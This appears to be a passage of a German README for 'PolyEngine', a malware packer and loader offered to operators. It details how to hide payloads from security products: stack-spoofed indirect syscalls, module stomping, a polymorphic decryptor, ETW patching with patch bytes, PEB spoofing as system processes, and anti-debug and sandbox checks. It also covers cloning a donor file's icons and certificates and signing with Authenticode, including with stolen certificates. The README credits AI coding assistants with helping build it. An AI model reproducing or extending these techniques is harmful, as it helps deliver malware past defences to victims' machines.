3. Jeder Aufruf von `HellsHallSyscall` (wenn Spoofing aktiviert ist) führt `push rbx; lea rbx, AfterJmpPoint; mov [g_SpoofSavedRsp], rsp; lea rsp, g_SpoofSyntheticStack; jmp r11` aus. Der Kernel sieht einen RSP, der in den synthetischen Stack zeigt, verankert in legitimem ntdll-Code.
4. Stack-basierte Syscall-Argumente (5..10) werden aus dem Aufrufer-Frame *vor* dem Pivot an den synthetischen Stack an den Offsets `0x28..0x50` übergeben — ohne dies würde der Kernel Gadget-Adressen als Argumente lesen und `STATUS_ACCESS_VIOLATION` zurückgeben.
5. Nach dem Syscall landet das `jmp rbx` von gadget2 auf `AfterJmpPoint`, das den RSP aus `g_SpoofSavedRsp` wiederherstellt, `rbx` vom Stack holt und zum Loader zurückkehrt.
6. `StackSpoof_Cleanup()` löscht `g_SpoofEnabled`, sodass die eigenen Threads des Payloads echte Rücksprungadressen sehen.

</details>

<details>
<summary><b>Module Stomping / Module Overloading</b></summary>

Statt `VirtualAlloc(RWX)` führt der polymorphe Decryptor innerhalb der `.text`-Sektion einer legitim geladenen Windows-DLL aus. Es wird nie RWX-Speicher allokiert.

**Stomping (Standard — `LoadLibraryW`, DLL erscheint im PEB-LDR):**

1. `ModuleStomp_Alloc()` iteriert über die drei DLLs, die durch `--preset` ausgewählt wurden. DLL-Indizes werden in `.rsrc` gespeichert und zur Laufzeit aus `g_DllPool` aufgelöst.
2. Die erste DLL mit einer ausführbaren Sektion, die groß genug für den Decryptor-Stub ist, wird gewählt.
3. Die ursprünglichen `.text`-Bytes werden in einem privaten `RW`-Puffer gespeichert, bevor die Sektion angefasst wird.
4. Nur der Decryptor-Stub wird in die gestompte Region kopiert. Der Payload-Blob bleibt in einer **separaten** `RW`-Allokation (`pEncryptedPayload`).
5. `NtProtect RW → RX`: Die gestompte Region wird ausführbar. Die Payload-Allokation bleibt `RW` — der Decryptor erhält ihre Adresse in `RCX` (erstes Argument des Windows-x64-ABI).
6. Der Decryptor läuft und entschlüsselt `pEncryptedPayload` an Ort und Stelle. `NtProtect RX → RW` unmittelbar nach der Rückkehr.
7. Die Region wird gelöscht, die ursprünglichen Bytes werden wiederhergestellt, die Sektion wird auf `PAGE_EXECUTE_READ` zurückgesetzt.

**Overloading (`--overload` — `NtCreateSection(SEC_IMAGE)` + `NtMapViewOfSection`, NICHT im PEB-LDR):**

- Gleiches Speichern-/Wiederherstellen-Muster und keine-RWX-Invariante wie beim Stomping.
- Die DLL wird direkt aus dem rohen Datei-Handle gemappt — erscheint nie in `PEB.Ldr`, wodurch Tools, die geladene Module aufzählen, ausgetrickst werden.
- Nach der Nutzung verwirft `NtUnmapViewOfSection` private COW-Seiten und entfernt alle Spuren des Schreibvorgangs.

**Ergebnis in beiden Fällen:** Die Speicherregion ist `MEM_IMAGE`, gestützt durch die Datei der DLL auf der Platte — Speicherscanner sehen ein legitimes Image-Mapping, keine anonyme `VirtualAlloc`-Region.

</details>

<details>
<summary><b>Polymorpher Decryptor — MutationEngine</b></summary>

Jeder Build erzeugt einen einzigartigen 34-Byte-x64-ASM-Decryptor-Stub, der nie mit einem früheren Build identisch ist:

- **NOP-/Junk-Einfügung** — zufällige NOP-/Junk-Instruktionen zwischen funktionalen Instruktionen, aus einem Pool von 22 Einträgen über RBX/R10/R11/R12/R13 (PUSH/POP, XCHG, TEST, MOV-Selbstkopie)
- **Register-Tausch** — funktionale Register werden zufällig über äquivalente Sätze neu zugewiesen
- **Instruktionssubstitution** — jeder Cipher-Schritt wird in einer von drei semantisch äquivalenten Varianten ausgegeben (z. B. `xor al, k` / `sub al, ~k+1` / `not al; xor al, ~k`)
- **Schleifenzähler-Varianten** — `inc r9` randomisiert zwischen `inc r9`, `add r9,1`, `lea r9,[r9+1]`; Vergleich getauscht zwischen `cmp rdx,r9` und `cmp r9,rdx`
- **Blockpermutation** — 4 unabhängige Setup-Blöcke (Nullsetzen von RCX/RDX/R10/R11) werden per Fisher-Yates-Shuffle neu angeordnet (24 mögliche Reihenfolgen)
- **XOR-Schlüsselreihenfolge-Tausch** — ein zufälliges `xorSwapped`-Flag dreht die äußere Schlüsselanwendungsreihenfolge um; Encryptor + Decryptor bleiben über ein Metadaten-Bit synchron

Der CompoundEncrypt-Cipher (XOR→ROL→ADD→XOR auf jedem Byte) bildet sich sauber auf die Vier-Instruktionen-Decryptor-Vorlage ab. Die MutationEngine erzeugt für jeden Schritt eine andere Variantenkombination, was statisches Signatur-Matching der Decryptor-Schleife unmöglich macht.

</details>

<details>
<summary><b>Verschlüsselungs-Stack</b></summary>

| Ebene | Algorithmus | Schlüsselquelle |
|---|---|---|
| Äußere | XTEA-CTR (128-bit) | Laufzeit-abgeleitete Base-XOR pro Build `CryptGenRandom`-Salt |
| Innere | CompoundEncrypt (XOR+ROL+ADD+XOR) | Pro Build `__rdtsc`-gesäter Compound-Schlüssel, eingebettet in den Decryptor-Stub |

**Äußere XTEA-Schlüsselableitung** (`Xtea_DeriveKey`): Der 128-Bit-Schlüssel wird zur Laufzeit aus Arithmetik mit Konstanten irrationaler Zahlen (φ, √2, √3, √5, √10 skaliert auf 32 Bits) aufgebaut. Alle fünf Seed-Konstanten sind selbst in `volatile`-XOR-Paare (`A ^ B`) aufgeteilt, sodass keine Klartext-Sequenz irrationaler Bytes in `.rdata` erscheint — die Wiederherstellung erfordert das Ausführen der Ableitung. Im Binary existiert kein zusammenhängender 16-Byte-Schlüssel-Blob. Der endgültige Schlüssel ist `derived_base XOR key_salt`, wobei `key_salt` 16 Bytes `CryptGenRandom`-Ausgabe ist, die in `.rsrc` gespeichert wird — jeder Build erzeugt einen einzigartigen Keystream.

**Dynamisches Magic (kein statischer YARA-Anker):** Der `.rsrc`-Metadatenblock endet mit `magic = key_salt[0]^key_salt[1]^key_salt[2]^key_salt[3]`. Der Stub lokalisiert den Block durch Rückwärtsscannen und Verifizieren dieser Invariante — es existiert kein `0xDEADBEEF` oder andere feste Konstante, an der eine YARA-Regel andocken könnte.

</details>

<details>
<summary><b>TLS-Callback-Anti-Debug</b></summary>

Der Windows-Loader ruft TLS-Callbacks aus `.CRT$XLB` auf, **bevor `AddressOfEntryPoint`** die Kontrolle erhält — bevor ein Payload im Speicher ist. In diesem Moment wird die Umgebung ohne externe API-Abhängigkeiten geprüft (nur CPU-Intrinsics und direkte PEB-Lesezugriffe):

| Prüfung | PEB-/Heap-Feld | Erkennungsbedingung |
|---|---|---|
| BeingDebugged | `PEB+0x002` | jeder angeschlossene Win32-Debugger |
| NtGlobalFlag | `PEB+0xBC` (x64) | Bits `0x70`, die von ntdll unter einem Debugger gesetzt werden |
| Heap Flags | `ProcessHeap+0x70` (x64) | Wert != 2 (HEAP_GROWABLE) |
| Heap ForceFlags | `ProcessHeap+0x74` (x64) | Wert != 0 |

Bei Erkennung: `__fastfail(FAST_FAIL_FATAL_APP_EXIT)` — umgeht alle User-Mode-Exception-Handler (VEH, SEH, UnhandledExceptionFilter). WER protokolliert `STATUS_STACK_BUFFER_OVERRUN (c0000409)`, nicht unterscheidbar von einem legitimen Memory-Safety-Absturz.

Kann zur Buildzeit mit `--disable tls` deaktiviert werden. Der Builder patcht einen 5-Byte-Marker im Loader-Stub, um den Callback vor dem Einbetten zu neutralisieren.

</details>

<details>
<summary><b>ETW-Patching</b></summary>

`Opsec_PatchEtw()` schreibt ein 3-Byte-No-op in die ersten Bytes von `EtwEventWrite` in der Prozess-ntdll:```asm
; After patch:
33 C0    xor eax, eax   ; return STATUS_SUCCESS (0)
C3       ret

Angewendet über NtProtectVirtualMemory (über HellsHall + Moonwalk RSP-Pivot). Eine separate Variable pPage enthält die Basisadresse für NtProtect (der Kernel rundet sie ggf. auf eine Seitengrenze); pEtw bleibt für den eigentlichen Byte-Schreibvorgang erhalten.

PEB-Spoofing

Opsec_SpoofPeb() überschreibt Folgendes:

  • PEB.ImageBaseFileName – Prozessname, der von Process Hacker usw. angezeigt wird
  • PEB.ImagePathName und PEB.CommandLine – voller Pfad, der in Prozesslisten sichtbar ist
  • PEB.BeingDebugged = 0, PEB.NtGlobalFlag = 0 – Anti-Debug-Flags
  • ProcessHeap.Flags = 2, ProcessHeap.ForceFlags = 0 – Heap-Debug-Flags

Der gespoofte Dateiname wird über --spoof-name festgelegt. Wenn er weggelassen wird, wählt Builder zufällig aus einem Pool von 9 gängigen System32-Prozessen (RuntimeBroker.exe, SgrmBroker.exe, WmiPrvSE.exe, SearchIndexer.exe, taskhostw.exe, spoolsv.exe, wlrmdr.exe, WMPDMC.exe, hvix64.exe) mithilfe von CryptGenRandom aus.

Sandbox- und Anti-Analyse-Prüfungen

Evasion_RunChecks() läuft vor jeder Syscall-Initialisierung und nutzt ausschließlich die Win32-API-Ebene. Die Prüfungen können einzeln über --disable deaktiviert werden.

Harte Prüfungen — ein einziges positives Ergebnis führt zum sofortigen Beenden:

PrüfungMethodeWas erkannt wird
debuggerPEB.BeingDebugged, PEB.NtGlobalFlag, ProcessHeap-Flags, NtQueryInformationProcess(ProcessDebugPort)Win32-Debugger angehängt
api-emuRtlComputeCrc32(seed, NULL, 0) — muss dem Seed entsprechenAPI-Emulation, die falsche Ergebnisse zurückgibt
exec-ctrlBenannter Semaphor (standardmäßig wuauctl, konfigurierbar) — ERROR_ALREADY_EXISTSZweite Ausführung des Samples
sleep-fwdSleep(ms) + GetTickCount64-Delta, Schwellenwert = 90 % von msSandbox, die Sleep-Aufrufe vorspult

Weiche Prüfungen — 2 oder mehr positive Ergebnisse erforderlich, um zu beenden (reduziert Fehlalarme):

PrüfungSchwellenwertWas erkannt wird
uptimeSystemlaufzeit < N Minuten (Standard: 2)Frisch erzeugte Sandbox-VM
cpuAnzahl logischer Prozessoren < 2Sandbox mit geringer Ausstattung
screenBildschirmbreite ≤ 1024 pxSandbox-Auflösungen 800×600 / 1024×768
filesAnzahl der Unterschlüssel unter HKCU\...\Explorer\RecentDocs < 5Sauberes / gefälschtes Benutzerprofil

Zeitverzögerung:

Evasion_HammerDelay() verbraucht reale Wanduhrzeit über VirtualAlloc/VirtualFree-Paare, die mit GetTickCount64 getaktet werden. Die Dauer ist über --hammer-s konfigurierbar (Standard: 3 Sekunden). Sandbox-Zeitbeschleuniger können Allocator-Roundtrips nicht vorspulen, wodurch dies gegen Sleep-Fast-Forward-Evasion wirksam ist, die die sleep-fwd-Prüfung umgeht.

API-Hashing — Djb2

Alle Windows-API-Namen werden zur Kompilierzeit durch vorberechnete Djb2-Hashes ersetzt, die als g_Hash_*-Globale gespeichert sind. GetProcAddressH() durchläuft das Exportverzeichnis und hasht jeden exportierten Namen, bis eine Übereinstimmung gefunden wird — im Importverzeichnis bzw. in .data erscheint kein Klartext-API-String.

Identitätsklonen — --clone-meta

Optionaler Post-Build-Schritt in Phase 11, der drei kosmetische Attribute aus einem Spender-PE in die bereits erstellte Ausgabe kopiert. Er läuft nach BuildInfectedPE (das .rsrc vollständig neu schreibt – alles, was zuvor geschrieben wurde, ginge verloren) und vor SignPeWithPfx (das das Zertifikatsverzeichnis mit einer echten Signatur überschreibt, falls zusätzlich --pfx angegeben ist).

CloneMeta_CopyResources lädt den Spender als flache Datendatei (LOAD_LIBRARY_AS_DATAFILE – bewusst ohne LOAD_LIBRARY_AS_IMAGE_RESOURCE, da diese bei Systemdateien die MUI-Ressourcenumleitung aktiviert und RT_GROUP_ICON-Lookups zu einem Sprach-Satelliten .mui leitet, das keine Icons enthält). RT_VERSION wird über EnumResourceLanguagesA aufgezählt, um alle Sprach-IDs zu sammeln; jede Variante wird mit UpdateResourceA geschrieben. Für RT_GROUP_ICON wird die Gruppe mit der niedrigsten Integer-ID ausgewählt (die, die Explorer der Konvention nach für das Shell-Symbol verwendet). FindResourceA wird für die eigentliche Datensuche nicht verwendet – es schlägt mit ERROR_RESOURCE_NAME_NOT_FOUND (1813) auf LOAD_LIBRARY_AS_DATAFILE-Handles fehl, selbst für Ressourcen, die EnumResourceNamesA gerade gefunden hat, weil der LANG_NEUTRAL-Fallback-Pfad im Datenmodus defekt ist. Stattdessen extrahiert EnumResourceLanguagesA die exakte im Spender gespeicherte LANGID, und FindResourceExA verwendet sie direkt. Alle UpdateResourceA-Aufrufe öffnen das Ausgabe-PE mit BeginUpdateResourceA(FALSE) – das Merge-Flag erhält den vorhandenen .rsrc-Payload-Eintrag aus Phase 10.

CloneMeta_CopyCertDirectory liest den Spender über ReadFileToBuffer in einen flachen Puffer, parst die DOS-→-NT-Header (unterstützt sowohl x86- als auch x64-Spender über OptionalHeader.Magic-Dispatch) und extrahiert DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY]. Dieser Verzeichniseintrag verwendet einen Datei-Offset (kein RVA) – es ist das einzige PE-Datenverzeichnis, in dem VirtualAddress ein roher Byte-Offset in die Datei ist. Der Zertifikats-Blob wird an einem um 8 Byte ausgerichteten EOF angehängt (WIN_CERTIFICATE-Ausrichtungsanforderung), der SECURITY-Verzeichniseintrag des Ziels wird direkt gepatcht, und anschließend berechnet MapFileAndCheckSumA (aus imagehlp.lib) die PE-Prüfsumme neu. Das Schreib-Handle wird vor dem Aufruf von MapFileAndCheckSumA geschlossenMapFileAndCheckSumA öffnet ein eigenes internes Handle und würde bei einem exklusiven Schreib-Handle des Aufrufers mit einer Freigabeverletzung fehlschlagen – und dann kurz wieder geöffnet, um nur die 4-Byte-Prüfsumme am berechneten Datei-Offset zu schreiben.

Authenticode-Signierung — --pfx

Optionaler Post-Build-Schritt. Wenn --pfx angegeben ist, signiert Builder die gepackte Ausgabe über mssign32!SignerSignEx2 (zur Laufzeit aufgelöst – keine mssign32-Abhängigkeit zur Linkzeit, kein signtool.exe auf der Workstation des Operators). Die Signierung läuft als Phase 9, nachdem BuildInfectedPE zurückgekehrt ist, da das Schreiben der Signatur IMAGE_DIRECTORY_ENTRY_SECURITY neu schreibt und die PE-Prüfsumme neu berechnet; jede spätere Ressourcenänderung würde die Signatur ungültig machen.

Das PFX wird mit PKCS12_NO_PERSIST_KEY | PKCS12_PREFER_CNG_KSP | PKCS12_INCLUDE_EXTENDED_PROPERTIES importiert. NO_PERSIST_KEY hält den privaten Schlüssel nur im Arbeitsspeicher – es wird keine Schlüsselcontainer-Datei unter %APPDATA%\Microsoft\Crypto geschrieben, die andernfalls die Workstation des Operators an das signierte Sample binden würde. PREFER_CNG_KSP ist für moderne PFXs erforderlich (PowerShell New-SelfSignedCertificate, OpenSSL ≥3.x); ohne dies schlägt SignerSignEx2 mit NTE_BAD_TYPE (0x8009000A) fehl. Der Digest ist SHA-256.

--ts-url ist optional (Opt-in). RFC-3161-Zeitstempelung sendet eine HTTP-Anfrage an die Zeitstempelautorität, die die IP des Anforderers sowie den Signaturzeitpunkt protokolliert und diesen Zeitpunkt in den Signatur-Blob im PE einbettet. Lassen Sie das Flag für vollständig luftabgeschirmte Signierung weg; verwenden Sie es nur, wenn die Signatur die Lebensdauer des Zertifikats überdauern muss (z. B. gestohlene / kurzlebige Code-Signatur-Zertifikate, die widerrufen werden).


Layout des .rsrc-Metadatenblocks

Der Ressourcen-Payload ist nicht fest auf ID 101 fixiert. Zur Packzeit führt Builder Folgendes aus:

  1. Zieht eine WORD-RT_RCDATA-ID über CryptGenRandom im Bereich 0x0100..0x7EFF
  2. Patched Little-Endian-Bytes an g_PayloadResIdMarker[4..5] im Loader-Stub (Tag {0xB1,0x0B,0x1D,0xE0} in Payload.c; ungepatchter Standardwert = 101)
  3. Führt StubMorph_Apply auf dem Stub-Image aus
  4. Schreibt UpdateResource(RT_RCDATA, id) = [XTEA-verschlüsselter Blob | PAYLOAD_METADATA (280 Bytes)]

Zur Laufzeit liest der Stub den Marker und ruft FindResourceW mit dieser ID auf. Der Metadatenblock wird gefunden, indem vom Ende der Ressource rückwärts gescannt wird (bis zu 128 Bytes, unter Tolerierung des Ausrichtungspaddings von UpdateResource) und magic == XOR(key_salt[0..3]) verifiziert wird.

Feld-für-Feld-Layout``` [XTEA-encrypted blob] [key_salt : 16 bytes] per-build random XTEA salt (4 x DWORD) [dll_idx0 : 1 byte ] index into g_DllPool (module stomping target 1) [dll_idx1 : 1 byte ] index into g_DllPool (module stomping target 2) [dll_idx2 : 1 byte ] index into g_DllPool (module stomping target 3) [pad : 1 byte ] alignment (0x00) [origSize : 4 bytes] original decompressed PE size (ULONG) [stubSize : 4 bytes] mutated ASM decryptor size (DWORD) [blobSize : 4 bytes] XTEA blob size (DWORD) [exportHash : 4 bytes] Djb2(exportName, key_salt[0]); 0 = none [exportArg : 128 bytes] null-terminated export argument string (zero-padded) [spoof_exe : 64 bytes] ASCII filename for PEB spoof (zero-padded) [semaphore_name : 32 bytes] exec-ctrl semaphore name; empty = default "wuauctl" (zero-padded) [sleep_fwd_ms : 4 bytes] sleep-fwd check duration (ms); 0 = default 500 [uptime_min : 4 bytes] uptime threshold (minutes); 0 = default 2 [hammer_ms : 4 bytes] API-hammer delay (ms); 0 = default 3000 [flags : 4 bytes] OPSEC_FLAG_* + EVASION_FLAG_* + PAYLOAD_FLAG_* bitmask [magic : 4 bytes] key_salt[0]^key_salt[1]^key_salt[2]^key_salt[3] ────────────────────────────── Total: 280 bytes (kMagicOffset = 276) ``` `flags`-Bits (siehe `Engine/OpsecFlags.h`): OPSEC 0–5, Evasion/Unhook 6–16, `PAYLOAD_FLAG_IS_SHELLCODE` (17).

In dem Block existiert kein fester Wert — jedes Feld ist entweder zufällig (key_salt, magic) oder buildspezifisch. Die RT_RCDATA-ID ist ebenfalls pro Build unterschiedlich. YARA kann sich nicht an einer statischen Byte-Sequenz oder einer festen Ressourcen-ID verankern.

Loader-Exitcodes (Release): Alle Fehlerpfade des Loaders beenden mit Code 0 über LOADER_EXIT (Stub/Common.h). Debug-Builds behalten unterschiedliche Codes zur Schrittdiagnose bei. Evasion-Erkennungen beenden bereits mit 0.


Module-Stomping-DLL-Pool

Der Builder --preset wählt 3 DLL-Indizes aus, die in .rsrc gespeichert sind. Der Stub löst die Namen zur Laufzeit über g_DllPool auf — kein DLL-Name erscheint im Payload oder in den Metadaten.

DLL-Pool-Tabelle
IndexDLLGruppe
0xpsservices.dllPRINT
1msi.dllPRINT
2dbghelp.dllPRINT
3winmm.dllMEDIA
4dxgi.dllMEDIA
5oleaut32.dllMEDIA
6winhttp.dllNETWORK
7wtsapi32.dllNETWORK
8wlanapi.dllNETWORK
9bcrypt.dll(nur RANDOM)

Index 9 (bcrypt.dll) ist nur über --preset RANDOM erreichbar; die benannten Presets decken die Indizes 0–8 in Dreiergruppen ab. Der Builder überprüft zur Buildzeit, dass mindestens eine der drei ausgewählten DLLs einen ausführbaren Abschnitt hat, der groß genug für den Payload-Blob ist, und warnt, wenn keine zutrifft.


Projektstruktur

Dateibaum``` PolyEngine/ ├── Builder/ — packer CLI (links selected Engine units) │ ├── Builder.cpp — CLI, ResolveStubPath (stub_v* pool), pipeline orchestration │ ├── CloneMeta.cpp/h — VERSIONINFO + icon + cert directory (--clone-meta) │ ├── PeSigning.cpp/h — Authenticode via mssign32!SignerSignEx2 (--pfx) │ └── UacManifest.cpp/h — RT_MANIFEST requireAdministrator (--uac) ├── Engine/ — shared sources (subset linked into Builder and/or Stub) │ ├── Compression.c/h — LZNT1 compress (Builder) / decompress helpers │ ├── Crypto.c/h — CompoundEncrypt inner cipher (XOR+ROL+ADD+XOR) │ ├── DecryptorStub.asm — 34-byte polymorphic decryptor template │ ├── MutationEngine.c/h — per-build ASM decryptor mutation (Builder) │ ├── NtApi.c/h — NT API pointer table (Stub binds via HellsHall) │ ├── OpsecFlags.h — OPSEC_FLAG_* + EVASION_FLAG_* + PAYLOAD_FLAG_* bits │ ├── PeBuilder.c/h — PAYLOAD_METADATA (280 B) + .rsrc inject + marker patches │ ├── StubMorph.c/h — pack-time PE morph: timestamp, section-name profiles, island+tag randomize (Builder only) │ ├── RunPE.c/h — in-process PE map (IAT, relocs, DllMain / EXE EP) │ └── Xtea.c/h — XTEA-CTR + irrational-constant key derivation └── Stub/ — CRT-free runtime; Release|x64 → stub_v0.bin .. stub_v3.bin ├── Stub.cpp — EntryPoint → Loader_* phases; POLY_VARIANT OPSEC order ├── PolyIslands.c — marker-bracketed NOP pads + per-variant decoy blob ├── ApiHashing.cpp/h — Djb2 hash cache, GetProcAddressH, GetModuleHandleH ├── Common.c/h — custom_memcpy/memset/memcmp; LOADER_EXIT (Release→0) ├── Evasion.cpp/h — HammerDelay + RunChecks (sandbox / debugger) ├── HellsHall.asm — indirect syscall + Moonwalk RSP pivot (deny-list / shared) ├── ModuleStomping.c/h — ModuleStomp_Alloc / ModuleOverload_Alloc ├── Opsec.c/h — ETW patch, PEB spoof ├── Payload.c/h — g_PayloadResIdMarker, GetPayloadFromResource, decompress ├── StubNtApi.c — Sys_Nt* wrappers → HellsHall ├── Structs.h — NT structs (no DDK) ├── Syscalls.c/h — FreshyCalls SSN sort, syscall;ret trampoline in ntdll .text ├── TlsCallback.c — pre-EP anti-debug + TLS guard marker ├── Unhooker.c/h — optional \KnownDlls\ .text restore (--unhook) └── StackSpoof.c/h — gadget pool + per-call synthetic stack configs ```

Abhängigkeiten

  • Windows 10/11 x64 Zielsystem
  • Visual Studio 2022 (MSVC v143) — keine externen Bibliotheken
  • Stub: keine CRT-Abhängigkeit (/NODEFAULTLIB), kein malloc/free, kein <string.h>

Gepflegt von: Razz | Entwickelt für opsec-bewusste Sicherheitsforschung und Spaß

Unterstützung bei der Umsetzung durch Claude Code, Grok und DeepSeek


Lizenz

MIT — nur für autorisierte Nutzung. Siehe LICENSE für den vollständigen Haftungsausschluss.

Kategorien